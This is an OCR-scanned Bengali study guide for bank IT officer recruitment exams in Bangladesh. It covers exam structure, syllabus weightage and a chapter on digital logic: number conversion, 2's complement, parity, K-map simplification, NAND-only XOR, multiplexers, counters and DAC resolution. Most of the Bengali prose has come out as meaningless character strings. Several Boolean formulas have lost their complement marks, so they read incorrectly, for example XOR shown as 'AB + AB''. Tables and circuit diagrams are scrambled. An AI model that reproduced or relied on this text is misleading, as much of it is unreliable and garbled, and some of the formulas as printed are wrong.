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0.> AIHIT 499 — F51e ANH AT T WLt sity

o / SIqre MCQ feifds (GTB 200 3 &1)
Bangladesh Bank — bo R, S TGT 2 TG 56 TEEe o (Seo) + sifdw 8f6 (20) + Focus
Assistant Programmer Writing (50) + S3m B«<>E (X0)

FIHIF 4, WF 36, [Fors ey [{esrger

AP SISt (0) SRR 203%) — v = AfFFgat

ST 2GS 3 &6 AAfers (K-map, NAND, MUX, DAC)
GBI WIfFG6IF (Cache, Pipeline, Memory)

(GBI SHIFEIF 8 wpieTsifams (Hashing, Tree, Sorting)
cafanfsis @ OOP (C, Java, Python, JDBC)

(GBI 8 SQL (ACID, Normalization, Query)

caB) S15W @ femraT (Scheduling, Deadlock)

(TGB! NG @ (@6 8B (Subnetting, OSI, Routing)
T @ SI3JIF [Rrorat

S5 eWIR sféfFmRe (SDLC, UML, Testing)

SR (GFEERS (HTTP, Cookies, Responsive)

FIOT, SIFAAIRIGHE, (G6F GT6IF, 5t (G618 Al
3T G 8 35 H (Diode, Fuse, UPS)

yefee w3fB @ IR (2FHI9G + Focus Writing

sifrs, e, 30afET 8 T T@IT (F9-(BH I SLT)
SQ-TIATHA, TG o, NG (556, B Sifei<pt

w4t Ft [Afve, F Afee 73
93 ANGF B 3 WP IBA W3 SFIFS o¥-51Fe (duranta.app, jobgns, CSE Career Master
Guide 397If%) (AP ST — QSTEAT AIBHIATR YIS QATE ST T, AFR 771 S ©oran fgor &7
O AT AR 7 2% Srsresyel/areg e (GTU WK 413 (ST SN #9484 Wity | 2AfS6 [omss
TSt BSCS/AILATHA LT AIFAIT 3 ATI#9a (erecruitment.bb.org.bd) omea #SHwT 43+ Afts

(BIBM, 09.03.203%Y)

T Aw &F =TTt

39 M

AP /SO (AP), Job ID-25106
SO IT, Officer IT, AME
AME, SO IT, AP

AP, SO IT, Officer IT

AP, SO IT, Officer IT

39 2 (&S 327 SQL WITw)
3] 2

57 #m, e ANE/ANSE
IR oW (IR o Bore)
AP, Officer IT, AME

AME, SO IT, Officer IT
AME, SO IT

AME, Officer IT

3] 2

3] 2
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Bangladesh Bank — AME/ — oft (GFfR=F11e (Cache, JFET, Parity, TV source rate,
AD (ICT) (08.02.20%Y) Packetization delay, laaS/PaaS/SaaS, VM, Data center,
Payment gateway audit, CMMI V&V) + 8f% sifds

BSCS — AE (IT)/AME, Grade- — sufB o: 555 B + 1fF sifds (affafo, grewss) +

9 (28.05.203VY) 2ft =™ (So0+50) + 55 Focus ("Data is the new
compute...")

BSCS — AME/AE (IT) — s¢fB o, 200 99 (RAID 5, Reliability, Router/PDU, ACID,

(0ob.0¢.20%VY) Deadlock, Incident...)

BSCS — Senior Officer (IT), =™ MCQ &1t 2 "BI, 200: Focus It S0 + Focus 3AE S0 + FgIm

Grade-9 (Job ID 25104, B—E S0 + E-B b0 + GK vo + REafefess sexvo = veo
2¢.09.303Y)

BSCS — Officer (IT), Grade- > =BT English, SO IT-a3 TSt AF3 FISITA: ¢o (SIF+GK) + Se¢o (5¢fS
10 (Job ID 25105, &L GK, Math, IT - [Reafsfes)

9)5.09.20V)

Combined Bank — Officer 55 &%: ~vwof6 [T+ —
(IT) MCQ (BIBM, 09.05.30%V) QIS + 3erafy +
sifere + GK

Combined 2 Banks — ANSE — >ufG (BSTIS/MIFSRT &% (Subnet, VLSM, OSPF, BGP,
(Job ID 25109, ¥.50.203Y) STP, PAT, DAL..) — 5853 =sig «ISsry amifgst

SCHTT SFGoe orAraswet

1. &%t fAf96 =31 ANSE 2026-a3 >ufog 58fF, =i @3 K-map (Im 0,3,5,7,8,10,11,12,13,14,15) AME
SR 2020 8 SO IT T3 2030 — F3 2IFHIT03 AR | Pipeline I91 single-cycle &%s 73191 S13
98 (BT fRsfo e IHSTEAT S ST |

2. feif¥e =129 26% (d¢o/200) BRNHIA, ST MeaFas So T97 — =fie v WNGa ey sgwar +
SN/ (BfRe + Svragel/ R

3. pefFe cawIoNG: Fund transfer-@ Atomicity/Consistency, ATM downtime (TS revenue loss,
payment gateway audit, ransomware in branches, shared superuser password — G
HIFNCF JIRCIF SR feidrs =271

4. AME/AE-CS RTABIG IS |ITHA (Fuse vs MCB, fuse rating, diode, transistor region) — CSE &1zt
ST 5 M (MK AT

5. F4-CBHAFIIA ¢o A FRCST (I IT — Focus writing, I 8 GK-T ) LI S0 8 581

0.3 f3ste fafds raa bfors-fofes f[Roerga

Fola (Vo Hfds

(4 L1 [£5)
@58 TFL (Subnet, OSI, * ok ok k ok AT 192.168.1.0/24 — 8 AICB; 14.24.74.0/24 — 2 A0, 8f6
Delay, Router) fSBre 3-9fB /24 summarize
[BIESCIEIIY * Kk k ke k SQLIi/XSS, Hashing vs Encryption, Virus vs Worm, DH MitM,

Incident response
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DBMS/SQL 2.8.8.8.8 ¢ ACID (Atomicity, Consistency), CHECK constraint, GROUP
BY, avg salary subquery, STUDENT table

0os * Kk k Deadlock/Circular wait/RAG, Logical vs Physical, Scheduling
Gantt, Circular queue

Architecture/Digital 1. 8.8 8 ¢ Pipeline, Memory hierarchy, Cache miss, K-map, XOR from
NAND, MUX/DEMUX, DAC

Cloud/DC/Big Data * ok kk laaS/PaaS/SaaS, VM count, RAID 5, Availability, Reliability,
Hadoop pipeline

Programming/OOP * Kk Overloading/Overriding/Hiding, Java override program,
Java output, IDBC, LCM

Web * %k HTTP status codes, GET vs POST, Cookies, Media
query/viewport

Software Eng. * Kk Incremental model, Unit vs Integration, V&V/CMMI, Class
diagram
Electrical ** (AME/Officer Fuse vs MCB, fuse for 2.4 kW, PN diode, BJT regions, JFET
IT)

0.9 WHIIFIF: (FIF ST SIS

KE e &

A—SREERS 9, b, 60 AST roNg Q4T ATF ¢-bB ot (co-bo 7=H)

B — a3*Ig 5,39 8,5  Math/RoRfefes — 513 acat o 751

C — smTet 9,50, 53,50  AME — 5%, 53 TFF; AP — 9, 8, 5 T(S; ANE/ANSE — 9, b SISIqeIR

D — 1Y AYIT »8 + g siférs, =™, Focus, GK, NTGe (656

smfefes e
L @t cera s
Assistant Programmer DSA (hashing, graph), Programming (C/Java (&1% ferats 337), SQL query, OOP,
(BB/Combined) UML, Security (DH, CIA)

Senior Officer (IT) / Officer 77 Bf9ra MRS srSiget + Digital logic + Web + Java; MCQ-¢S port, command,
am short form

AME / AE (IT) Architecture, Data center (RAID, availability, reliability, maintenance),
Cloud/VM, Electrical, Networking, Security incident

ANE / ANSE Subnetting/VLSM, OSPF/BGP/STP, NAT/PAT, ARP/DAI, Firewall/IDS/IPS,
troubleshooting =TS

BB AD (General)-Q3 ICT ®*I  MCQ (Tt WY S0 (CBS, NPSB, BEFTN) + 31 ity MCQ + ﬂif%@i A
Sifer=st
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0.8 BIF AYIted Ffow (HFAwIT Sifad Sgafl 7eFfoe F37)

N LI 9 (F5STIF) 8 ¢ (DBMS/SQL) — 2AfSTm= 2ft 1=t @ 2ft SQL FwfF 3rts fayw
2 AT & (0S), b (Security), > (Digital) — K-map 8 Gantt 515 S eT
© LT R, 9, 8, 55 (+ AME (A 5) — &G 8 77

8 LI », 50, SV, 58 + ATIFIET AT (B35 2 T (VT 4R); FF g 8 [RS-2% IF 3 TA-TIALTH

0.¢ Yo FFIq feifde Seg Fleig fauE

TG FISITAT (AT So->2 fif7B)
1. ST (>-2 FAIRA) — 3SR [rom, FIF o 3|
2. SIS Jt (BfJe — "Differentiate” &ita S*NR 8-v M G
3. HITot YT F3ST1T — S[@ STst [, S W9 I, 10T 3A69R Sud I T |
4, prefHe Tvgaa — "In a bank, e.g. fund transfer..." OF AR (TSt FICA GBI WA T |
5. o=/ oNfa™ — scenario &8 "Recommendation" RIIAIGT w-8f% JC16 1

S g

STICG network/broadcast IW St (78T (usable = 2h - 2); RAID 5-@ N 3919 N-1; SQL-9 GROUP BY
RIGT aggregate; Gantt BITH arrival time et TST; HTTP status-9d "exact phrase" &1 919 ((T9F
"Not Found", "Internal Server Error")l
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AP I3FF! (0> TCBIFF 202Y) — v a7 sAfaFgat

Assistant Programmer / Senior Officer (AP), Job ID-25106 — 3-Day Crash Plan

0-F.) 1A OF FGLd (BSCS Iwfd 92 v80/203Y, S5 TTFIAT 203Y)

IEER S
M Assistant Programmer / Senior Officer (AP), 57 (&% — ¢ft 71T @ ft WifF AfSHITT voft *m

SIFT8  vd/50/20%y, A, ABIA 5190 - YT 42000 (MCQ S T6T + fFfIw < 761, 953 I9777)
ST

&9 T8 ST T [T, (GTIIS, BIFT — 28b2 T (@I Y000 5-vVVS0)

A= AT ST WIS S B! WS ToRS; AR 9:5>¢-9F 217 A3 fHeay

MCQ Subjects Related a¢ + Mathematics S¢ + General Knowledge >o; 2if$ gt 0.2¢ 16t
(>00)

BRI Subjects Related >¢o + Mathematics 20 + English Language Proficiency vwo

(x00)

IBIEK ATIHI@ (> i) BIGT IS, I3, IS, (IR, FHAPCABF, M5/ SIEBIe 1S, (T 6 I JEFF S
fSor3y; A=t g @41 TR F1; Y3 FIF TN IS &

SFIy 2NFSI: BIBM (S, Ao 7m)

Roaf3re NS AfSHIET TN (@31 T 2029-203Y AT TS INLH-WRT AIHT "S> TBr MCQ + R TBT
fAfIs 93 " TG 2T (BB AP 09.02.2029, Combined 5 Bank AP 05.02.2028, AME 2028, SO IT
3 Officer IT 2038, Officer IT 52.50.20%¢, BSCS AP 59.05.203V), IFATSTEAITS IISTEAT 26 BIBM
(cr3fBt™ "BIBM/CTI") | f&fA® W2t ©is1a e T (IT deo + 9ifis 20 + 33fS/srgam vwo) | Ry S
CTI, T 2035-33-AF AAHISTE 8 fFfds foe)

0-3F.2 BIBM-a3 AP 2t T1 At (BB AP 2023 (i)

LAt erop=it O3 AITG AT

f&f3s IT (~5f Hashing (linear probing), graph adjacency list/matrix, ¢2Tam 141 (LCM 0.9, 9.50, 8.3,

29) Bonfa), SQL query, UML class diagram, overloading/overriding/hiding, 8.b, ¢.50, b.3,
CIA 8 E2E encryption (9 791, Diffie-Hellman MitM b.¢, 5.8

fofde sifds (86 Frosifas (x + 1/x), *rowa1, STREI 519+, TS 8.5

X @)

English TSI FANGITH Focus Writing 50 + SHRM B«>E 20; 49 INTITS A1 SO (T

Language T[ICORM), 8.3,

Proficiency (90) 58.9

MCQ IT (ac) Port, OSI, command, short form, DS complexity, SQL clause, OOP, OS — 2fSB wemes
Officer IT MCQ 2026 (BIBM)-a3 tet MCQ + if3f3rg

o
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o-F.v fuafofes =foa

N

ATSTD "fI5IS 2% BB AP 2023 " I HITT 2IgH, SIFAF TB (G [T g1 (@G 3 SQL BTS FIsITST [+
— IS IDE (931 T G AT, OF 6 AT ATSIT TP 1Y, CIF IS Y (TGS (U[ |

A

1 Y
39, b

DSA +
caranfse

LT Y

IS, 29
el

DB +
Security +
SE

o

Y&, vO

58T +
OS + ¥

I wia o=
=9, 0y

Y I FARA

oI Srst LI ©: .5 Hashing (BB AP 2023 — fAter (ke I191H), v.50 Graph (4 @SR
adjacency list/matrix), v.8 Infix — Postfix, v.q BST traversal, v.52 sorting (63,
v,.50 binary search

oo Sref I 8: 8.2 Overloading/Overriding/Hiding (BB AP 2023 — (9 #1135t compile
error (39), 8.9 Java polymorphism (&1&¥, 8.4 output tracing; 8.b (¥tF LCM/GCD,
prime, Fibonacci, palindrome, string reverse — I8 =t (vt WIS ¢fG =TS fHYT

s LI © @ 8-97 MCQ (0ofB) — gearata sifasr

AFIe LI @&: ¢.Y ACID, ¢.¢ Normalization, ¢.b DELETE/TRUNCATE/DROP; ¢.50-43 2ifSf6
SQL (romantic comedies, dept average, GROUP BY + HAVING, nth highest) 2ItS
fergm

9oy I b b.5 CIA, b.2 RSA 8 Diffie-Hellman + MitM (BB AP 2023 — Srsiiais wis=),
b0 SQLI/XSS, b.8 Firewall/IDS/IPS, v.¢ E2E encryption (FI¥ (711t (BB AP 2023)

Reet LI &: 5.8 Token-ring LAN class diagram (BB AP 2023) — At \ig; .2 SDLC
NG Qerdl; ».¢ Testing

e LT ¢, b, 5-97 MCQ (8¢fB)

PIA LT 4: Q.5 OSI, 9.9 Subnetting (2ft 2T® FF7), A.5 N BRI Y47, WAIT v: v,0
Scheduling Gantt 515, v.¢ Deadlock, u.v Paging/LRU, u.b Linux F91S

79 9jef I (B3B: AT st — MCQ vo AT (0.2¢ FE 77 &) + fAfAs =T, 57 Wy

(Sr00- $8.5-97 BB AP 2023-4a3 51f% aifers st &t

5%:90-a7

NCOT STHC)

Repet T 58.2-58.9 (W 8 Focus FISITHN) + LI S0-AF QB0 303f& T Seow
ATt 200 *1t3 g, #fIfFR 4 (short forms) 8 F (@) 9FIF

IS 8Y LA It + [R91S-21% IFSTAITS (12 JA; SAR=90a f&6 0 YA, ST 2AY
@ Y 5 =6, SSBIF ey g

I T Fg 2@ Tl (@G ST To6 RV b:wo-aF J&y (= (5:5¢-a &A=
IT) | AN giet ¥y, &S (G, 9fS, FHepetg, anst, FR6) T (kT 7
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0-3.8 IHIF 3T WY Sl

LAt SN e

MCQ (so0 & wo fXfAB = vy AN AT NFbowte (ve-80 NfFE), BT arecs ifFweE; ¢F ¢ A6

Ee) TS/ &% OMR C=ATCAT

fAfAs IT (b¢0)  ~po WG (T &% G SITEAT AR WSt AfS So 797 ~v NAG; @F6/SQL-9 F6
e sfes e

SIfrs (20) ~5% NG @ L 410er I0st; FITHeAs (73, O B SIwwr Ay

English (o) ~sb ARG Focus: 9fi<el-IowH SIRgI-JRLI-BIIteA -1+, I (=16 71fdF 7167

Etsifoe TfF (-0.2¢) — FUF T™TET FAEH
8ft I ATFHIANT T WIS AT 797 = 1% x 1 - % x 0.25 = +0.0% (217 =77, g JfF @)1
a6 W Moo Im Mes 2N = 15 - 25 x 0.25 = +0.59q; 56 I fite st = % - 1% x 0.25 =

+0.94q¢|

R wws Wit wer Aftee am fite *iae Seg fim; g3 am s 71 *1eet =es =1

0-F.¢ AN 9l YIHFTA T M (WL

LI 52 (REAFGINA), 55-a7 Hadoop/RAID-AF RBITS, 0-97 1817 WL, 2-97 8086 8 -9 flip-
flop/counter| LI S© (ATF 8Y NPSB, BEFTN, RTGS, BACH, CBS-43 TS T 8 FIG (GK 8 MCQ-T Tiey)

el
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ST > — ALY oigfS 8 fofeine afers

Number System & Digital Logic

93 W AT AT ST 1T @3t 21w ogs a6 s o ST K-map (SO IT 2026, AME/AE
2026), NAND %z XOR (Officer IT 2026), MUX/DEMUX (Officer IT 2026), parity @ ASCII (BB AME 2023),
DAC resolution (Officer IT 2024)| MCQ-(S binary Si#ii8%, A& (516 8 Boolean W= (J 41 &ATF [Rfx6w1 AP,
SO (IT), Officer (IT), AME/AE (IT) @32 BB AD (ICT) — S (JIT361 G113 WA Trefa|

5.d ALY IIgfS 8 FHAIFT

NGRS Base LS Surgaet

Binary 2 0,1 (1011), =11

Octal 8 0-7 (17)g =15

Decimal 10 0-9 (255)10

Hexadecimal 16 0-9, A-F (FF)16 = 255
TSR

* CILHIAL base — Decimal: 2S5 @ x basePOSION cxrsy Tz (sief WL position 0,1,2...; SATE
-1,-2..)1

» Decimal — base b: %I« *I(F IIFIIF b AT SI5t FF SIS [HE (AF T, AR I b ey
B FF 7Jf WA BT (AT FE|

* Binary < Octal: © (63 &591; Binary < Hex: 8 R(63 &%t (7S Reg (AT 13 e o591 F2e71) |

Tulzad 5: (156.625)4o F Binary, Octal @ Hex-9Q FHIFI T34

syef =#T: 156 + 2 — SIS 0,0,1,1,1,0,0,1 (6 (}TF) — 156 = 128 + 16 + 8 + 4 = 10011100
BARHT: 0.625 %2 =1.25 > 1;0.25x2=0.5—-0;0.5x2=1.0 - 1 = .101
- (156.625)10 = (10011100.101),

Octal: 010 011 100 . 101 — (234.5)g | Hex: 1001 1100. 1010 — (9C.A)4¢
[qHIB: 2x64 + 3x8 +4 =156 ¢/; 5/8 = 0.625 ¢/

U 2: (1A3)4¢ = ? (decimal) @32 IP 192.168.1.1-93 binary

1x16%+ 10x16 + 3 = 256 + 160 + 3 = 419
192 = 11000000, 168 = 128+32+8 = 10101000, 1 = 00000001 =
11000000.10101000.00000001.00000001 (2SS octet b fIB)

3.2 Signed 51245t 1's 8 2's Complement

IS -5 (b f3B) n-fI% @& TSIt

Sign-Magnitude 10000101 - 11y ... +2"1-1) +0 8 -0 76T #[7
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1's Complement 11111010 aF3 6! #1773, end-around carry

2's Complement 11111011 N1 N1y OFf63 JFT — FEGHIR afbs ITo
2's complement = 1's complement + 1 | v % @&: -128 (At +127

Tulgad o: b-fJ6 2's complement =T FI 25 - 40 [Fofa T

25=00011001; 40 = 00101000 — invert 11010111 — +1 = 11011000 (= —40)
00011001 + 11011000 = 11110001 (GFITAT carry (73, MSB = 1 = A9Ig[<)
TI9 SFce WK 2's complement: 00001110 + 1 =00001111 =15 = 63 -15 ¢/

S g

2's complement-Q (TSI 217 MSB (RITF (&I carry (Fe e 37 (1's complement-a Gift SRR Gtsy
FACO )| Hi LA (9 FR AN BT QT Sf overflow!|

3.9 (&1G: BCD, Gray, ASCII, Unicode

&G e A SarEget
BCD (8421) &ifSf i =i wwiermr 8 fRTB; 1010-1111 =e& 59 — 0101 1001
Excess-3 BCD + 0011; self-complementing 5— 1000

Gray code 9 4G AT W@ S IG Iwetrw (K-map, encoder)  G=B @ (B>>1):1011 — 1110

ASCII 7-bit, 128 =567 (Extended ASCII 8-bit, 256) A=65a=97,0=48

EBCDIC 8-bit, IBM mainframe —

Unicode Reeg 5= f&f9r; UTF-8 (1-4 byte), UTF-16, UTF-32 Il g U+0980-U+09FF (UTF-8-@ © byte)
T AT FA

'A' = 65 (0x41), 'a' = 97 (0x61) — TG 3 (RIG T AT 32 (A6 a4 B, bit-5)1'0' = 48 (0x30)1 Space =
321

.8 Error Detection: Parity, Checksum, CRC, Hamming

Parity bit ST (THF Y T& AH6 NSRS [E IS (B 1-97 A2 (TG (even parity) I Res (odd
parity) 37| &IF WK 1 9= Ffew o)  ft e [Rrsits aars [e-20 4300 g, 58 @e iRAs
(T 15) RG-= 4To g A QIR FB FLENYT (correct) FATS I
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s ot BB AME 2023
Explain parity method for error detection. Write down the bit strings of "Delta" using ASCIL

T@a: Parity “&fors (a9 AfSTE FIESIERT 9-R[B ASCII &FITE SN 96 parity bit (TEKTS MSB
IR (TI5T T Even parity-(S (1B 1-9F TRATT (SIS AT T | AT 1 S [CSTG (9Itet A
transmission-a @6 3CICR QIR retransmission B3|

UL ASCII (w*IfS<F) q-f35 1-93 SIRATT Even parity 3% b-iJ%
D 68 1000100 2 01000100
e 101 1100101 4 01100101
| 108 1101100 4 01101100
t 116 1110100 4 01110100
a 97 1100001 3 11100001

Odd parity B3t parity bit &t TR D, e, |, t-a 1 3R a-cS 01 SNRgor: 7ft KT aFM TebIta 47T IS
1 — @& 2D parity, checksum 31 CRC 121K 2|

i) Detect Correct AT 7T

Simple parity Rtens e RB-=i6 Bl Serial (UART), 2Rt RAM
2D parity SIf&BIH burst >-RB Block transmission
Checksum eI @G Ll IP/TCP/UDP header

CRC < burst < r RB Bl Ethernet (CRC-32), HDLC
Hamming code 2-RB (SECDED) >-JB ECC RAM (3T1$1R)

Hamming redundant bitr:2">m+r+1 (m=databit) > m=73Ar=4(16>12)

b.¢ Boolean Algebra 3 &f&i (16

a AND ot OR =%t
Identity A1=A A+0=A

Null A0=0 A+1=1
Idempotent AA=A A+A=A
Complement AA=0 A+A =1
Absorption AA+B)=A A+AB=A
RIS A(A'+ B) = AB A+AB=A+B
De Morgan (AB)'= A" +B' (A+B) =AB

Expression Output 1 T4

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 11 /185



AND AB 3 399G 1 0

OR A+B IS A6 1 1
NAND (AB)' IS GG 0 1
NOR (A +B) 3995 0 0
XOR AB+AB'=A®B 399G foF 1
XNOR AB + A'B' 3995 ST (equality detector) 0

TuIgAct 8: 19 FF4 — Y = AB + AB' + AB
AB+AB'=A(B+B)=A=Y=A+AB=A +B (72T 7a)| W: fS=f6 AND 8 45 OR-a3 Iwter a6 OR
(5153 AR

Turzact ¢: (1 AND 0) OR (1 AND 1) =?

(1:0)+(1:1)=0+1=1 Officer IT MCQ 2026 (BIBM)

3.y Karnaugh Map (K-map)

K-map-a3
e Row/column Gray code TN STIGITAT: 00, 01, 11, 10 — ST sir=nonf3 #ft @tz Wa s [{G Iwerg|
o R, 2, 4,8, 16 TFAT WTOCHA,; TS I 559 T (6 term (8-SR 2-99 = v literal, 8- = %

literal, v-<19 = 5 literal)l
* Map-a3 &8 (IGIAT (wrap-around): &2 @ I FAN/AN A== 517 (@rene aF6 a9t 700 M|
* ISt essential prime implicant A7 (T 1-F &3 9T FA3 OIG), OIFAT IS TIEE T
&t BIF 1 Don't care (X) TGS 1 4T I
e Minterm 993: m =8A+4B + 2C + DI
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f9sIS & SO 172026 (25104)  BSCS AME/AE 24.01.2026

Simplify the following boolean expression using a 4-variable K-map: F(A, B, C, D) =
2m(0,3,5,7,8,10,11,12,13,14,15). Draw the K-map clearly, show your groupings (loops), and write the
simplified expression.

19 5 — Map 9jq: 1 9517 0,3,5,7,8,10,11,12,13,14,15 9(; 0 AT 1,2,4,6,9 €|

AB\ CD
01 11 10
0 1 f \ 2
00 @ 1 m— CD — m(3,7,11,15)
4 5 6 s BD — M(5,7,13,15
01 1 1 ] { ’
P---\ t 5 J 24___\ ==== AD'— m(8,10,12,14) wrap
1 ] L : L L | L : === B'C'D' — m(0,8) wrap
H 1o 1 10 1
1 1
10 (L) 1R F=B'C'D' + CD + BD + AD'
foa s.o: >m(0,3,5,7,8,10,11,12,13,14,15)-@3 K-map 3 o1AfG ekt
giot 3 — shfore:

1. M0-9F ANTFF T 1, 2, 4 393 0; (T A6 MRFT m8 (wrap) 1 = &St (0, 8): AIwedry, B=0,C=0,D
=0 = B'C'D' (essential)l

2.M3-E TItH CD = 11 FAINI R BRI (3, 7, 15, 11) = CD (essential)l

3. m5-(&F It NAF quad (5,7, 13, 15): B=1, D =1 = BD (essential)l

4. fF A= 10, 12, 141 Row 11 8 10 @32 column 00 8 10 (wrap)-a3 quad (12, 14, 8, 10): A=1,D=0
= AD' — af6 a3 ST BIFt #1ts (AB + AC fortet 7B term «isio)|

g9t © — He:
F(A,B,C,D)=B'C'D'+ CD + BD + AD'

qI51R (0-99 99): m1 = 0001, m2 = 0010, m4 = 0100, m6 = 0110, m9 = 1001 — (I term-3 QSTHITS 1
T 91 /| BT@, AB 8 AC-8 prime implicant, 5@ SIS cover-a st 11|

SR g

FAIIT F¥ 00, 01, 11, 10 — 10 TS IANS B2 T JJ | T FAET FSIF@II (diagonal) sbof FaT T
T, QI © T Y THF B (I AT

5.4 Universal Gate: ®§ NAND fata 519 ¢s15

NAND 8 NOR-GEF universal gate Il 37, FII 3¢ 9B s NOT, AND, OR — =i (CFITT AfGH
FIHF I T IC CofITo a3 4T (515 I FAA 4F6 8 GiibeTo! FH |

T @g NAND fata (515 SRt
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NOT A NAND(A, A) = (AA)' = A 1

A AND B NAND(NAND(A,B), NAND(A,B)) 2
AORB NAND(A, B') = (AB') =A+B 3
AXORB fRoa foa 4
A XNOR B XOR-9F 917 W6 NAND-inverter 5

fasts &= Officer IT 2026 (25105)

Draw the circuit schematic diagram to build an Exclusive-OR (XOR) logic function using only universal
NAND gates.

T@a: XOR = AB + AB'I 43 G1 = (AB)'| ©Ix(e
G2 = (A-G1)' = (A(AB)) @R G3 =(B:G1)' = (B(AB)")'
Y =(G2:G3)' = A(AB)' + B(AB)'=(A+B)(A'+B)=AA'+AB'+AB+BB'=AB'+AB=A@ B v

(A-G1)'

G2

Y=A®DB
G1 b G4

(AB)
B %
(B:G1)

5@ 5.%: 516 NAND (516 e XOR

A B G1 G2 G3 Y
0 0 1 1 1 0
0 1 1 1 0 1

5.t Combinational Circuit: Adder, MUX, DEMUX, Encoder, Decoder
Half 8 Full Adder
Half adder:S=A@® B, C=AB | Full adder:S=A & B & Cj,, Cout = AB + Cj,,(A & B)

9B full adder = 55 half adder + @35 OR 5181 n-fJG ripple-carry adder-a n fB full adder =Iest; carry-
lookahead adder carry =13 25719 e 5ifS e
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Multiplexer (MUX) 8 Demultiplexer (DEMUX)

0 —
Y0
n Y1
4:1 MUX Y Din 1:4 DEMUX
v3
B —
51 |so s1 |so

5@ 5.9: 4:1 MUX (I 3996 — @ WRGEJB) 8 1:4 DEMUX (93 3995 — WA WRSH6B)

4:1 MUX: Y = S1'S0"I0 + S1'SO-I1 + S1S0"I2 + S1S0-I3 | 2" 899t8x &7 n select line

fQsre A¥  Officer IT 2026 (25105)

What is the difference between a Multiplexer and a Demultiplexer? Explain one practical application of
each in digital systems.

g7 Multiplexer (MUX) Demultiplexer (DEMUX)

e AT 3796 (AT AP0 (@02 AT WGEATE =~ QBTG 3996 @R (ST 9B WARSEHE
TSI (data selector) SNST (data distributor)

355/ 2N 5798 — 1 BB 1 399[5 — 2" =ISBo{B

RIS

Select line n 5 — &= 37995 T 5 I n o — @ WABEAE T 5 T

CISITICST Transmitter AT (parallel — serial) Receiver AT (serial — parallel)

2 NP

wfes AND-OR 5155 Enable 3995518 decoder-a3 wtst

MUX-a3 2ftaist: TDM (Time Division Multiplexing)-Q SA<s (GATHIH BIAARE QP16 AR 2SI,
CPU-(® (&I register-a3 (G5t ALU-(S R ©f Ig13; MUX Mt (IGFIGT Boolean HIR*H JHICAT|
DEMUX-a3d STalst: Receiver 2It8 TDM syt SIwt SIS SISt F1; QHf6 serial (o6t g9 [feq
fSer3s1/ @fSstig feaer; memory chip select-a decoder R

Encoder 8 Decoder

b1IEa0) B9 — TSH9D TAIRI/ARIE

Decoder n — 2" (QBwra SEEB 1) 3:8 decoder (74138), memory address decoding, 7-
segment driver

Encoder 2N ,n 8:3 encoder, keyboard

Priority I 3B 1 A T Interrupt controller

encoder priority-3fG

Comparator A 8 B Q&1 (A>B, A=B, A<B) XNOR fatg equality
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3.5 Sequential Circuit: Flip-Flop, Register, Counter

Combinational circuit-93 TIGH2E B ISNH 3767 T2IF AT F; sequential circuit-937 TASHE ISTAH
3995 @ 9IS WIF (Memory) — FIBIF $91F S 1 Latch level-triggered, flip-flop edge-triggered
(clock-a3 rising/falling edge-a IwaT™) | G316 flip-flop S G TTF e F|

Flip-flop Characteristic caf¥rgy

SR Q" =S+RQ S=R=1wy

D Q*=D Delay/data latch; register-&Q IRTS
JK Q*=)Q' +KQ J =K =13 toggle; SIY WI7T (73
T Qt*=T®Q T =1 3T toggle; counter-4 IRTS

Counter 3 Register

* Asynchronous (ripple) counter: &% FF-a clock, AIISTEA! AT FF-9F SWSEG (ITF — =60
59§ propagation delay T &1

* Synchronous counter: 3 FF 933 clock-a — %o, fGon3 Gifoe |

* Mod-N counter-a n f& FF srtst (@41t 2" > NI n-fRB counter clock frequency-c& 2" e st I
(frequency divider)!

¢ Shift register: SISO, SIPO, PISO, PIPO — serial <> parallel 5183 (UART)I Ring counter-a n FF-Q
n &3, Johnson counter-a 2n SR

Tl u: Counter B39

(&) @B mod-12 counter-a FFHTF U FF? 23 =8 <12 < 16 = 24 = 4|

(4) 16 MHz clock-@ a5 4-FB ripple counter-a MSB SIGE9JL6 frequency = 16 MHz / 2% = 1 MHz|
(s1) &ifSTB FF-a7 delay 10 ns 3T 4-JB ripple counter-ad (15 delay = 4 x 10 = 40 ns = 1% clock =
1/40 ns = 25 MHz|

5.50 ADC 8 DAC

MBI TSI HISIIT ((SIE6 S, *1, Siorral) analog; FSEIR Fiat A digital-al ADC analog — digital
(sampling — quantization — encoding), DAC digital — analog| Resolution XCeAT LSB-93 43 419 ARISH

SB[ FOLF Inetr |

Resolution (step size) = Vgs / (2" - 1) | DAC ®IEB9B = digital W9 x step size | % resolution =
100/ (2"-1)
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faste o= Officer IT 2024

You are required to convert a 32-bit digital number to an analogue voltage over the voltage range of 0 to
3.3 V with a Digital to Analogue Converter (DAC). What is the resolution of the analogue output?

Tea: n = 32 {6 = &6 &t = 232 - 1 = 4,294,967,295
Resolution = 3.3V / 4,294,967,295 ~ 7.68 x 10~ 10 v = 0.768 nV &S LSBI
2f1e GBI 3795 > IGITA WSBB (SITEHST 2ATT 0.77 TAI-(SI6 0T | (g I3 2" ey <15t a1 =7

3.3/23227.68 x 10710V — n TG &1 1175 51l 1) AWE QS F resolution FECS A6 5T T, ©IF
QfFrgerst DAC 8-24 e 771

Swrzaet a: 8- DAC (0-5 V), 3998 10000000 3¢t SIREG[B?
Step = 5/ 255 = 19.6 mV; 10000000 = 128 = V¢ = 128 x 19.6 mV = 2.51 V|

TWIEAS b: 10-fA6 ADC, V o = 5 V, 3996 3.2 V 7t fSf&bIeT Wi
D =(3.2/5)x 1023 = 654.7 = 655 = (1010001 111), 1 Nyquist 5=t sampling rate > 2 x ST

frequency!

5.5 MCQ S gfew

1. (1 AND 0) OR (1 AND 1) @9 W9 F9?
(=)0 (N1
() Null (=) -1

Ted: () — 0+ 1=1 Officer IT MCQ 2026 (BIBM)

2. (9 51 8Y 29946 4ft foq o 1 o
() AND (2) OR
(1) XOR () NAND

T () — XOR = AB + AB'  Officer IT MCQ 2026 (BIBM)

3. 192.168.1.1-47 binary e (HH5?

(%) 11000000.10101000.00000001.00000001 (¥) 11000000.10100100.00000001.00000001
(57) 10100000.10101000.00000001.00000001 (€) 11000000.10101000.00000000.00000001

T8 (F) — 192 = 11000000, 168 = 10101000  Officer IT MCQ 2026 (BIBM)

4. Binary 111-93 decimal ¥ ¥9?
()3 (¥) 5
(o1 7 (9

Taq: () —4+2+1=7 Officer IT MCQ 2026 (BIBM)
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5. fAtea =% universal gate?

() AND
(57) NAND

(¥) OR
(=) XOR

&3 (s1) — NAND 8 NOR 4TI 511 (515 1T T

6. b-fIG 2's complement-a -1 FSIT A T2

(%) 10000001
(N 11111111

(11111110
